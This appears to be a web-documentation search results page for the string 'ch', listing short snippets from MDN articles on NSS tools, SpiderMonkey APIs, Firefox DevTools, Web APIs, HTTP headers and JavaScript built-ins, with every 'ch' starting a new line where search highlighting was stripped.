ch can be located in cert db or in arbitrary file.
...And 8 more matches
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.te
ch.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...ea
ch command takes one option.
... ea
ch option may take zero or more arguments.
...And 8 more matches
NSS tools : crlutil
ea
ch command takes one option.
... ea
ch option may take zero or more arguments.
... -m modify existing crl whi
ch can be located in cert db or in arbitrary file.
...And 8 more matches
NSS tools : signver
name signver — verify a deta
ched pkcs#7 signature for a file.
... synopsis signtool -a | -v -d directory [-a] [-i input_file] [-o output_file] [-s signature_file] [-v] description the signature verification tool, signver, is a simple command-line utility that unpacks a base-64-encoded pkcs#7 signed object and verifies the digital signature using standard cryptographic te
chniques.
... -d [sql:]directory specify the database directory whi
ch contains the certificates and keys.
...And 8 more matches
GC Rooting Guide
since spidermonkey has a moving gc, it is very important that it knows about ea
ch and every pointer to a gc thing in the system.
... template class typedef js::handle<js::value> js::handlevalue js::handle<jsobject*> js::handleobject js::handle<jsstring*> js::handlestring js::handle<jsscript*> js::handlescript js::handle<jsid> js::handleid you should use js::handle<t> for all function parameters taking gc thing pointers (except out-parameters, whi
ch are described below).
... one rare but especially tricky case to wat
ch out for is where an raii destructor could gc in a function that is returning a bare pointer.
...And 8 more matches
64-bit Compatibility
the best way to fix this is to make types explicit, su
ch as: const uintptr_t pointer_tagbits = 3 or by using a cast inside the macro.
...lir safety it is not immediately clear from reading lir whi
ch opcodes should be used for 64-bit safety.
... if you make a mistake, there's an extremely good
chance the sanityfilter in nanojit will cat
ch it while generating code.
...And 8 more matches
JS::Compile
syntax // added in spidermonkey 45 bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, const
char *bytes, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, const
char16_t *
chars, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, file *file, js::mutablehandlescript script); bool js::compile(jsconte...
...xt *cx, const js::readonlycompileoptions &options, const
char *filename, js::mutablehandlescript script); // obsolete since jsapi 39 bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, js::sourcebufferholder &srcbuf, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const
char *bytes, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const
char16_t *
chars, size_t length, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js...
...::readonlycompileoptions &options, file *file, js::mutablehandlescript script); bool js::compile(jscontext *cx, js::handleobject obj, const js::readonlycompileoptions &options, const
char *filename, js::mutablehandlescript script); name type description cx jscontext * pointer to a js context from whi
ch to derive runtime information.
...And 8 more matches
JS_CompileFunction
syntax jsfunction * js_compilefunction(jscontext *cx, jsobject *obj, const
char *name, unsigned int nargs, const
char **argnames, const
char *body, size_t length, const
char *filename, unsigned int lineno); jsfunction * js_compileucfunction(jscontext *cx, jsobject *obj, const
char *name, unsigned int nargs, const
char **argnames, const js
char *body, size_t length, const
char *filename, unsigned int lineno); name type description cx jscontext * the context in whi
ch to compile the function.
... obj jsobject * object with whi
ch the function is associated.
... name const
char * name to assign the newly compiled function.
...And 8 more matches
JS_CompileScriptForPrincipals
syntax jsscript * js_compilescriptforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const
char *src, size_t length, const
char *filename, unsigned int lineno); jsscript * js_compileucscriptforprincipals(jscontext *cx, jsobject *obj, jsprincipals *principals, const js
char *src, size_t length, const
char *filename, unsigned int lineno); jsobject * js_compilescriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const
char *src, size_t length, const
char *filename, unsigned int lineno, jsve...
...rsion version); // obsoleted since jsapi 19 jsobject * js_compileucscriptforprincipalsversion(jscontext *cx, jsobject *obj, jsprincipals *principals, const js
char *src, size_t length, const
char *filename, unsigned int lineno, jsversion version); // obsoleted since jsapi 19 name type description cx jscontext * the context in whi
ch to compile the script.
... obj jsobject * object with whi
ch the script is associated.
...And 8 more matches
JS_ConvertArguments
syntax bool js_convertarguments(jscontext *cx, const js::callargs &args, const
char *format, ...); // added in spidermonkey 31 bool js_convertarguments(jscontext *cx, unsigned argc, jsval *argv, const
char *format, ...); // obsolete since jsapi 30 name type description cx jscontext * the context in whi
ch to perform any necessary conversions.
...in certain error cases, js_convertarguments calls js_argv_callee(argv), whi
ch accesses memory outside the range [argv ..
...(the purpose is to ensure gc safety.) format const
char * null-terminated string describing the types of the out parameters and how to convert the values in argv.
...And 8 more matches
JS_NewExternalString
create a new jsstring whose
characters are stored in external memory.
... syntax jsstring * js_newexternalstring(jscontext *cx, const
char16_t *
chars, size_t length, const jsstringfinalizer *fin); jsstring * js_newexternalstringwithclosure(jscontext *cx, js
char *
chars, size_t length, int type, void *closure); // obsolete since jsapi 13 name type description cx jscontext * the context in whi
ch to create the new string.
...
chars const
char16_t * or const js
char * pointer to the first element of an array of
char16_ts.
...And 8 more matches
nsIWebContentHandlerRegistrar
inherits from: nsisupports last
changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-content-handler-registrar;1 as a service: var nsiw
chr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); method overview void registercontenthandler(in domstring mimetype, in domstring uri, in domstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in domstring proto...
... contentwindow the dom content window from whi
ch the method has been called.
...this string must also be of either the http or https s
chemes.
...And 8 more matches
nsIXPConnect
inherits from: nsisupports last
changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) to access the xpconnect service, use code like this: nsresult rv; nscomptr<nsixpconnect> xpconnect = do_getservice(nsixpconnect::getcid(), &rv); if (ns_succeeded(rv)) { /* use the object */ } method overview void addjsholder(in voidptr aholder, in nsscriptobjecttracerptr atracer); native code only!
...in nsisupports aouter, in jscontextptr ajscontext, in jsobjectptr ajsobj, in nsiidref aiid, [iid_is(aiid),retval] out nsqiresult result); nsixpconnectjsobjectholder wrapnative(in jscontextptr ajscontext, in jsobjectptr ascope, in nsisupports acomobj, in nsiidref aiid); void wrapnativetojsval(in jscontextptr ajscontext, in jsobjectptr ascope, in nsisupports acomobj, in nswrapperca
cheptr aca
che, in nsiidptr aiid, in boolean aallowwrapper, out jsval aval, out nsixpconnectjsobjectholder aholder); attributes attribute type description collectgarbageonmainthreadonly prbool obsolete since gecko 1.9 currentjsstack nsistackframe read only.
... void flagsystemfilenameprefix( in string afilenameprefix, in prbool awantnativewrappers ); parameters afilenameprefix the utf-8 filename prefix to mat
ch, whi
ch should end with a slash (/)
character.
...And 8 more matches
Filelink Providers
filelink is a thunderbird feature that makes it easy for users to upload large atta
chments to web-based storage services su
ch as hightail.
... if the nsimsgcloudfileprovider is being created as part of an add-on, the add-on must register the component in
chrome.manifest.
...see cloudfile/cloudfilecomponents.manifest for an example, as well as this document on
chrome.manifest files.
...And 8 more matches
Thunderbird extensions
mu
ch of it may no longer be relevant.
... also see thunderbird 57-60 add-ons guide for
changes introduced in thunderbird 60.
...functions for dealing with messages (delete, ar
chive,
change tags, etc.) are included.
...And 8 more matches
Using COM from js-ctypes
for communication between the different windows applications among themselves, microsoft has developed a series of te
chnologies alongside the main windows api.
... this started out with dynamic data ex
change (dde), whi
ch was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework.
... spee
ch synthesis example let's start with following c++ code, whi
ch invokes microsoft spee
ch api and says "hello, firefox!" with system default voice, then wait until the speaking done.
...And 8 more matches
Set a breakpoint - Firefox Developer Tools
add log: add a log point, whi
ch logs a value to your console rather than pausing execution as a breakpoint does.
... unconditional breakpoints an unconditional breakpoint is one where the code will always pause execution when it is rea
ched.
... the line number is highlighted in blue: in addition, if the line contains multiple function calls, ea
ch one will be given a small blue arrow icon to the left of it.
...And 8 more matches
Paint Flashing Tool - Firefox Developer Tools
whenever an event happens that might
change a visible part of the web page then the browser must repaint some portion of the page.
... for example, a repaint will be needed if the user scrolls the page or moves the mouse pointer over an element with a :hover pseudo-class that
changes the element's style.
...it tries to work out whi
ch parts of the screen are "damaged" and repaint only those.
...And 8 more matches
Call Tree - Firefox Developer Tools
the call tree tells you whi
ch javascript functions the browser spent the most time in.
...statistically, the number of samples taken in whi
ch we were executing a particular function corresponds to the amount of time the browser spent executing it.
... note that we use the same program - the same profile, in fact - in the documentation page for the flame
chart.
...And 8 more matches
Storage Inspector - Firefox Developer Tools
currently it can be used to inspect the following storage types: ca
che storage — any dom ca
ches created using the ca
che api.
... storage inspector user interface the storage inspector ui is split into three main components: storage tree table widget sidebar storage tree the storage tree lists all the storage types that the storage inspector can inspect: under ea
ch type, objects are organized by origin.
... under "ca
che storage", objects are organized by origin and then by the name of the ca
che: indexeddb objects are organized by origin, then by database name, then by object store name: with the cookies, local storage, and session storage types, there's only one level in the hierar
chy, so stored items are listed directly under ea
ch origin: you can click on ea
ch item in the tree to expand or collapse its
children.
...And 8 more matches
AudioNode.disconnect() - Web APIs
the disconnect() method of the audionode interface lets you disconnect one or more nodes from the node on whi
ch the method is called.
... syntax audionode.disconnect(); audionode.disconnect(output); audionode.disconnect(destination); audionode.disconnect(destination, output); audionode.disconnect(destination, output, input); return value undefined parameters there are several versions of the disconnect() method, whi
ch accept different combinations of parameters to control whi
ch nodes to disconnect from.
...if this value is an audionode, a single node is disconnected from, with any other, optional, parameters (output and/or input) further limiting whi
ch inputs and/or outputs should be disconnected.
...And 8 more matches
AudioWorkletProcessor.parameterDescriptors (static getter) - Web APIs
the read-only parameterdescriptors property of an audioworkletprocessor-derived class is a static getter, whi
ch returns an iterable of audioparamdescriptor-based objects.
...the properties of these objects are as follows: name the domstring whi
ch represents the name of the audioparam.
... automationrate optional either "a-rate", or "k-rate" string whi
ch represents an automation rate of this audioparam.
...And 8 more matches
BaseAudioContext.createBuffer() - Web APIs
the createbuffer() method of the baseaudiocontext interface is used to create a new, empty audiobuffer object, whi
ch can then be populated by data, and played via an audiobuffersourcenode for more details about audio buffers,
check out the audiobuffer reference page.
...the asyn
chronous method decodeaudiodata() does the same thing — takes compressed audio, say, an mp3 file, and directly gives you back an audiobuffer that you can then set to play via in an audiobuffersourcenode.
... syntax var buffer = baseaudiocontext.createbuffer(numof
channels, length, samplerate); parameters note: for an in-depth explanation of how audio buffers work, and what these parameters mean, read audio buffers: frames, samples and
channels from our basic concepts guide.
...And 8 more matches
BatteryManager - Web APIs
the batterymanager interface provides ways to get information about the system's battery
charge level.
... the navigator.getbattery() method returns a battery promise that is resolved in a batterymanager interface whi
ch you can use to interact with the battery status api.
... properties batterymanager.
charging read only a boolean value indicating whether or not the battery is currently being
charged.
...And 8 more matches
BluetoothDevice - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/bluetoothdevice" target="_top"><rect x="151" y="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font...
...-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">bluetoothdevice</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} interface interface bluetoothdevice { readonly attribute domstring id; readonly attribute domstring?
...gatt; readonly attribute frozenarray uuids; promise wat
chadvertisements(); void unwat
chadvertisements(); readonly attribute boolean wat
chingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements
characteristiceventhandlers; bluetoothdevice implements serviceeventhandlers; properties bluetoothdevice.id read only a domstring that uniquely identifies a device.
...And 8 more matches
BudgetService - Web APIs
if you'd like to contribute to the data, please
check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobile
chromeedgefirefoxinternet exploreroperasafariandroid webview
chrome for androidfirefox for androidopera for androidsafari on iossamsung internetbudgetservice experimentaldeprecatednon-standard
chrome full support 55edge full support ≤79firefox ?
... webview android full support 55
chrome android full support 55firefox android ?
...And 8 more matches
SVGFETurbulenceElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeturbulenceelement" target="_top"><rect x="261" y="65" width="220" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="371" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-an
chor="middle" alignment-baseline="mid...
...And 8 more matches
Screen Capture API - Web APIs
the screen capture api introduces additions to the existing media capture and streams api to let the user select a screen or portion of a screen (su
ch as a window) to capture as a media stream.
... to start capturing video from the screen, you call getdisplaymedia() on the instance of media navigator.mediadevices: capturestream = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); the promise returned by getdisplaymedia() resolves to a mediastream whi
ch streams the captured media.
...similar to getusermedia(), this method creates a promise that resolves with a mediastream containing the display area selected by the user, in a format that mat
ches the specified options.
...And 8 more matches
Sensor APIs - Web APIs
additionally you can put object instantiation inside a try...cat
ch block.
...} if ("proximitysensor" in window) { // wat
ch out!
...} defensive programming as stated in feature detection,
checking for a particular sensor api is insufficient for feature detection.
...And 8 more matches
Slottable: assignedSlot - Web APIs
syntax var slotelement = elementinstance.assignedslot value an htmlslotelement instance, or null if the element is not assigned to a slot, or if the associated shadow root was atta
ched with its mode set to closed (see element.atta
chshadow for further details).
... examples in our simple-template example (see it live), we create a trivial custom element example called <my-paragraph> in whi
ch a shadow root is atta
ched and then populated using the contents of a template that contains a slot named my-text.
...here is one su
ch example: <my-paragraph> <span slot="my-text">let's have some different text!</span> </my-paragraph> in our javascript file we get a reference to the <span> shown above, then log a reference to the original <slot> element the <span> was inserted in.
...And 8 more matches
SubtleCrypto.deriveKey() - Web APIs
it returns a promise whi
ch will be fulfilled with a cryptokey object representing the new key.
... it's worth noting that the three key derivation algorithms you can use have quite different
characteristics and are appropriate in quite different situations.
... supported algorithms the three algorithms supported by derivekey() have quite different
characteristics and are appropriate in different situations.
...And 8 more matches
Text - Web APIs
if an element has no markup within its content, it has a single
child implementing text that contains the element's text.
... however, if the element contains markup, it is parsed into information items and text nodes that form its
children.
... new documents have a single text node for ea
ch block of text.
...And 8 more matches
TextTrack.mode - Web APIs
you can read this value to determine the current mode, and you can
change this value to swit
ch modes.
... syntax var mode = texttrack.mode; texttrack.mode = "disabled" | "hidden" | "showing"; value a domstring whi
ch indicates the track's current mode.
...this is the default value, unless the text track has the default boolean attribute is specified, in whi
ch case the default is showing.
...And 8 more matches
TextTrack - Web APIs
thus, for displayed cues su
ch as captions or subtitles, the active cues are currently being displayed.
... texttrack.cues read only a texttrackcuelist whi
ch contains all of the track's cues.
... texttrack.id read only a domstring whi
ch identifies the track, if it has one.
...And 8 more matches
Lighting in WebGL - Web APIs
« previousnext » as should be clear by now, webgl doesn't have mu
ch built-in knowledge.
...instead of discussing it in depth here, take a look at the article on phong shading at wikipedia, whi
ch provides a good overview of the most commonly used lighting model or if you'd like to see a webgl based explanation see this artcle.
... there are three basic types of lighting: ambient light is the light that permeates the scene; it's non-directional and affects every face in the scene equally, regardless of whi
ch direction it's facing.
...And 8 more matches
Using textures in WebGL - Web APIs
in our case, we'll be using a single texture, mapped onto all six sides of our rotating cube, but the same te
chnique can be used for any number of textures.
... note: it's important to note that the loading of textures follows cross-domain rules; that is, you can only load textures from sites for whi
ch your content has cors approval.
...rnalformat, width, height, border, srcformat, srctype, pixel); const image = new image(); image.onload = function() { gl.bindtexture(gl.texture_2d, texture); gl.teximage2d(gl.texture_2d, level, internalformat, srcformat, srctype, image); // webgl1 has different requirements for power of 2 images // vs non power of 2 images so
check if the image is a // power of 2 in both dimensions.
...And 8 more matches
Writing WebSocket client applications - Web APIs
note: the example snippets in this article are taken from our websocket
chat client/server sample.
... the websocket constructor accepts one required and one optional parameter: websocket = new websocket(url, protocols); url the url to whi
ch to connect; this should be the url to whi
ch the websocket server will respond.
... this should use the url s
cheme wss://, although some software may allow you to use the insecure ws:// for local connections.
...And 8 more matches
Window.requestFileSystem() - Web APIs
the non-standard window method requestfilesystem() method is a google
chrome-specific method whi
ch lets a web site or app gain access to a sandboxed file system for its own use.
... even compared to the rest of the file and directory entries api, requestfilesystem() is especially non-standard; only
chrome implements it, and all other browser makers have decided that they will not implement it.
... syntax this method is prefixed with webkit in all browsers that implement it (that is, google
chrome).
...And 8 more matches
window.requestIdleCallback() - Web APIs
this enables developers to perform background and low priority work on the main event loop, without impacting latency-critical events su
ch as animation and input response.
... functions are generally called in first-in-first-out order; however, callbacks whi
ch have a timeout specified may be called out-of-order if necessary in order to run them before the timeout elapses.
... you can call requestidlecallback() within an idle callback function to s
chedule another callback to take place no sooner than the next pass through the event loop.
...And 8 more matches
WindowOrWorkerGlobalScope.btoa() - Web APIs
the windoworworkerglobalscope.btoa() method creates a base64-encoded ascii string from a binary string (i.e., a string object in whi
ch ea
ch character in the string is treated as a byte of binary data).
... you can use this method to encode data whi
ch may otherwise cause communication problems, transmit it, then use the atob() method to decode the data again.
... for example, you can encode control
characters su
ch as ascii values 0 through 31.
...And 8 more matches
HTML in XMLHttpRequest - Web APIs
the w3c xmlhttprequest specification adds html parsing support to xmlhttprequest, whi
ch originally supported only xml parsing.
... limitations to discourage the syn
chronous use of xmlhttprequest, html support is not available in the syn
chronous mode.
...also, this limitation avoids problems with legacy code that assumes that responsexml is null for http error pages (whi
ch often have a text/html response body).
...And 8 more matches
<menuitem> - HTML: Hypertext Markup Language
this includes context menus, as well as menus that might be atta
ched to a menu button.
...commands can also optionally include a
checkbox or be grouped to share radio buttons.
... (menu items for indirect commands gain
checkboxes or radio buttons when defined against elements <input type="
checkbox"> and <input type="radio">.) content categories none.
...And 8 more matches
ETag - HTTP
it lets ca
ches be more efficient and save bandwidth, as a web server does not need to resend a full response if the content has not
changed.
... additionally, etags help prevent simultaneous updates of a resource from overwriting ea
ch other ("mid-air collisions").
... if the resource at a given url
changes, a new etag value must be generated.
...And 8 more matches
Transfer-Encoding - HTTP
http/2 doesn't support http 1.1's
chunked transfer encoding me
chanism, as it provides its own, more efficient, me
chanisms for data streaming.
...ea
ch segment of a multi-node connection can use different transfer-encoding values.
... header type response header forbidden header name yes syntax transfer-encoding:
chunked transfer-encoding: compress transfer-encoding: deflate transfer-encoding: gzip transfer-encoding: identity // several values can be listed, separated by a comma transfer-encoding: gzip,
chunked directives
chunked data is sent in a series of
chunks.
...And 8 more matches
Warning - HTTP
note: the warning header is soon to be deprecated; see warning (https://github.com/httpwg/http-core/issues/139) and warning: header & stale-while-revalidate (https://github.com/whatwg/fet
ch/issues/913) for more details.
... warning header fields can in general be applied to any message, however some warn-codes are specific to ca
ches and can only be applied to response messages.
... 1xx warn-codes describe the freshness or validation status of the response and will be deleted by a ca
che after deletion.
...And 8 more matches
About JavaScript - JavaScript
javascript runs on the client side of the web, whi
ch can be used to design / program how the web pages behave on the occurrence of an event.
...language constructs, su
ch as if statements, for and while loops, and swit
ch and try ...
... cat
ch blocks function the same as in these languages (or nearly so).
...And 8 more matches
getter - JavaScript
note the following when working with the get syntax: it can have an identifier whi
ch is either a number or a string; it must have exactly zero parameters (see incompatible es5
change: literal getter and setter functions must now have exactly zero or one arguments for more information); it must not appear in an object literal with another get or with a data entry for the same property ({ get x() { }, get x() { } } and { x: ..., get x() { } } are forbidden).
... examples defining a getter on new objects in object initializers this will create a pseudo-property latest for object obj, whi
ch will return the last array item in log.
... const obj = { log: ['example','test'], get latest() { if (this.log.length === 0) return undefined; return this.log[this.log.length - 1]; } } console.log(obj.latest); // "test" note that attempting to assign a value to latest will not
change it.
...And 8 more matches
Array.prototype.sort() - JavaScript
if omitted, the array elements are converted to strings, then sorted according to ea
ch character's unicode code point value.
...for example, "banana" comes before "
cherry".
... note : in utf-16, unicode
characters above \uffff are encoded as two surrogate code units, of the range \ud800-\udfff.
...And 8 more matches
Function.name - JavaScript
javascript compressors and minifiers warning: be careful when using function.name and source code transformations, su
ch as those carried out by javascript compressors (minifiers) or obfuscators.
...su
ch transformations often
change a function's name at build-time.
... source code su
ch as: function foo() {}; let foo = new foo(); if (foo.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } may be compressed to: function a() {}; let b = new a(); if (b.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } in the uncompressed version, the program runs into the truthy-bran
ch and logs "'foo' is an instance of 'foo'".
...And 8 more matches
Object.create() - JavaScript
syntax object.create(proto, [propertiesobject]) parameters proto the object whi
ch should be the prototype of the newly-created object.
... propertiesobject optional if specified and not undefined, an object whose enumerable own properties (that is, those properties defined upon itself and not enumerable properties along its prototype
chain) specify property descriptors to be added to the newly-created object, with the corresponding property names.
... custom and null objects a new object created from a completely custom object (especially one created from the null object, whi
ch is basically a custom object with no members) can behave in unexpected ways.
...And 8 more matches
Object.freeze() - JavaScript
a frozen object can no longer be
changed; freezing an object prevents new properties from being added to it, existing properties from being removed, prevents
changing the enumerability, configurability, or writability of existing properties, and prevents the values of existing properties from being
changed.
... in addition, freezing an object also prevents its prototype from being
changed.
... for data properties of a frozen object, values cannot be
changed, the writable and configurable attributes are set to false.
...And 8 more matches
RegExp() constructor - JavaScript
the regexp constructor creates a regular expression object for mat
ching text with a pattern.
... for an introduction to regular expressions, read the regular expressions
chapter in the javascript guide.
...patterns may include special
characters to mat
ch a wider range of values than would a literal string.
...And 8 more matches
<mo> - MathML
fence there is no visual effect for this attribute, but it specifies whether the operator is a fence (su
ch as parentheses).
... form specifies the role of the operator in an enclosed expression, whi
ch affects spacing and other default properties.
... mathvariant this attribute specifies the logical class of the operator whi
ch varies in typography.
...And 8 more matches
SVG Presentation Attributes - SVG: Scalable Vector Graphics
alignment-baseline baseline-shift clip clip-path clip-rule color color-interpolation color-interpolation-filters color-profile color-rendering cursor direction display dominant-baseline enable-background fill fill-opacity fill-rule filter flood-color flood-opacity font-family font-size font-size-adjust font-stret
ch font-style font-variant font-weight glyph-orientation-horizontal glyph-orientation-vertical image-rendering kerning letter-spacing lighting-color marker-end marker-mid marker-start mask opacity overflow pointer-events shape-rendering solid-color solid-opacity stop-color stop-opacity stroke stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlim...
...it stroke-opacity stroke-width text-an
chor text-decoration text-rendering transform unicode-bidi vector-effect visibility word-spacing writing-mode attributes alignment-baseline it specifies how an object is aligned along the font baseline with respect to its parent.
... value: auto|srgb|linearrgb|inherit; animatable: yes color-profile deprecated since svg 2 it defines whi
ch color profile a raster image included through the <image> element should use.
...And 8 more matches
href - SVG: Scalable Vector Graphics
the exact meaning of that link depends on the context of ea
ch element using it.
... note: specifications before svg 2 defined an xlink:href attribute, whi
ch is now rendered obsolete by the href attribute.
... value <url> default value none animatable yes animate, animatemotion, animatetransform, set for the <animate>, <animatemotion>, <animatetransform>, and <set>, href defines a url referring to the element whi
ch is the target of this animation element and whi
ch therefore will be modified over time.
...And 8 more matches
systemLanguage - SVG: Scalable Vector Graphics
this list is mat
ched against the language defined in the user preferences.
... 35 elements are using this attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <swit
ch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, ea
ch of whi
ch must be a language-tag value, as defined in bcp 47.
... systemlanguage is often used in conjunction with the <swit
ch> element.
...And 8 more matches
BloatView
xpcom_mem_bloat_log if set, this causes a bloat log to be printed on program exit, and ea
ch time nstracerefcnt::dumpstatistics is called.
...cumulative) leak and bloat statistics, tab process 1862 |<----------------class--------------->|<-----bytes------>|<----objects---->| | | per-inst leaked| total rem| 0 |total | 17 2484|253953338 38| 17 |asynctransactiontrackersholder | 40 40| 10594 1| 78 |compositor
child | 472 472| 1 1| 79 |condvar | 24 48| 3086 2| 279 |messagepump | 8 8| 30 1| 285 |mutex | 20 60| 89987 3| 302 |pcompositor
child | 412 412| 1 1| 308 |pi...
...magebridge
child | 416 416| 1 1| the first line tells you the pid of the leaking process, along with the type of process.
...And 7 more matches
Performance
ben
chmarking tips on generating valid performance metrics.
... xul s
chool: add-on performance tips for add-on developers to help them avoid impairing application performance.
... scroll-linked effects information on scroll-linked effects, their effect on performance, related tools, and possible mitigation te
chniques.
...And 7 more matches
Midas editor module security preferences
this functionality is completely removed since 2013-12-14 18:23 pst, see: bugs 38966 and 913734 note: if you've rea
ched this page from a message box in firefox or another mozilla product, try using keyboard shortcuts for the cut, copy, and paste commands: copy: ctrl+c or ctrl+insert (command+c on mac) paste: ctrl+v or shift+insert (command+v on mac) cut: ctrl+x or shift+delete (command+x on mac) the information on the rest of this page is for web developers and advanced users.
... to protect users' private information, unprivileged scripts cannot invoke the cut, copy, and paste commands in midas, whi
ch is mozilla's ri
ch text editor component.
... this means that the corresponding buttons on the mozilla ri
ch text editing demo page will not work.
...And 7 more matches
JSS Provider Notes
the mozilla-jss jca provider newsgroup: mozilla.dev.te
ch.crypto overview this document describes the jca provider shipped with jss.
...if you are curious, you can verify the signature on the jar file using the jarsigner tool, whi
ch is distributed with the jdk.
...you have two
choices.
...And 7 more matches
Mozilla-JSS JCA Provider notes
the mozilla-jss jca provider newsgroup: mozilla.dev.te
ch.crypto overview this document describes the jca provider shipped with jss.
...if you are curious, you can verify the signature on the jar file using the jarsigner tool, whi
ch is distributed with the jdk.
...you have two
choices.
...And 7 more matches
NSS 3.15 release notes
introduction the nss team has released network security services (nss) 3.15, whi
ch is a minor release.
...it replaces function secitem_reallocitem, whi
ch is now declared as obsolete.
... in secpkcs7.h sec_pkcs7verifydeta
chedsignatureattime - verifies a pkcs#7 signature at a specific time other than the present time.
...And 7 more matches
NSS 3.52 release notes
notable
changes in nss 3.52 bug 1603628 - update nss to support pkcs #11 v3.0.
... note: this
change modifies the ck_gcm_params struct to include the ulivbits field whi
ch, prior to pkcs #11 v3.0, was ambiguously defined and not included in the nss definition.
... bug 1623374 - support new pkcs #11 v3.0 message interface for aes-gcm and
cha
chapoly.
...And 7 more matches
Initialize NSS database - sample 2
/* * print a usage message and exit */ static void usage(const
char *progname) { fprintf(stderr, "\nusage: %s -d [-p ]" " [-f ]\n\n", progname); fprintf(stderr, "%-15s specify a db directory path\n\n", "-d "); fprintf(stderr, "%-15s specify a plaintext password\n\n", "-p "); fprintf(stderr, "%-15s specify a password file\n\n", "-f "); exit(-1); } /* * initslotpassword */
char * initslotpassword(pk11slotinfo *slot, prbool retry, void *arg) { file *input; file *output;
char *p0 = null;
char *p1 = null;...
